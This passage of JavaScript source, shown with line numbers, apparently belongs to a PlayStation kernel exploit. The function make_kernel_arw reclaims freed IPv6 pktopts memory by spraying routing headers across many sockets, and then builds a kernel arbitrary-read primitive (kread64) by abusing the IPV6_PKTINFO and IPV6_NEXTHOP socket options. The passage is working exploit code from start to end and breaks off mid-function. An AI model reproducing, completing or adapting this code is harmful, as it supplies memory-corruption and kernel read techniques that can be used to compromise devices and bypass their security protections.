(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds)
| 1202 | // dirty_sd is the socket whose rthdr pointer is corrupt |
| 1203 | // kernel_addr is the address of the "evf cv" string |
| 1204 | function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { |
| 1205 | const psd = pktopts_sds[0]; |
| 1206 | const tclass = new Word(); |
| 1207 | const off_tclass = is_ps4 ? 0xb0 : 0xc0; |
| 1208 | |
| 1209 | const pktopts = new Buffer(0x100); |
| 1210 | const rsize = build_rthdr(pktopts, pktopts.size); |
| 1211 | const pktinfo_p = k100_addr.add(0x10); |
| 1212 | // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo |
| 1213 | pktopts.write64(0x10, pktinfo_p); |
| 1214 | |
| 1215 | log("overwrite main pktopts"); |
| 1216 | let reclaim_sd = null; |
| 1217 | close(pktopts_sds[1]); |
| 1218 | for (let i = 0; i < num_alias; i++) { |
| 1219 | for (let i = 0; i < num_sds; i++) { |
| 1220 | // if a socket doesn't have a pktopts, setting the rthdr will make |
| 1221 | // one. the new pktopts might reuse the memory instead of the |
| 1222 | // rthdr. make sure the sockets already have a pktopts before |
| 1223 | pktopts.write32(off_tclass, 0x4141 | (i << 16)); |
| 1224 | set_rthdr(sds[i], pktopts, rsize); |
| 1225 | } |
| 1226 | |
| 1227 | gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass); |
| 1228 | const marker = tclass[0]; |
| 1229 | if ((marker & 0xffff) === 0x4141) { |
| 1230 | log(`found reclaim sd at attempt: ${i}`); |
| 1231 | const idx = marker >>> 16; |
| 1232 | reclaim_sd = sds[idx]; |
| 1233 | sds.splice(idx, 1); |
| 1234 | break; |
| 1235 | } |
| 1236 | } |
| 1237 | if (reclaim_sd === null) { |
| 1238 | die("failed to overwrite main pktopts"); |
| 1239 | } |
| 1240 | |
| 1241 | const pktinfo = new Buffer(0x14); |
| 1242 | pktinfo.write64(0, pktinfo_p); |
| 1243 | const nhop = new Word(); |
| 1244 | const nhop_p = nhop.addr; |
| 1245 | const read_buf = new Buffer(8); |
| 1246 | const read_buf_p = read_buf.addr; |
| 1247 | function kread64(addr) { |
| 1248 | const len = 8; |
| 1249 | let offset = 0; |
| 1250 | while (offset < len) { |
| 1251 | // pktopts.ip6po_nhinfo = addr + offset |
| 1252 | pktinfo.write64(8, addr.add(offset)); |
| 1253 | nhop[0] = len - offset; |
| 1254 | |
| 1255 | ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); |
| 1256 | sysi("getsockopt", psd, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf_p.add(offset), nhop_p); |
| 1257 | |
| 1258 | const n = nhop[0]; |
| 1259 | if (n === 0) { |
| 1260 | read_buf[offset] = 0; |
| 1261 | offset += 1; |
no test coverage detected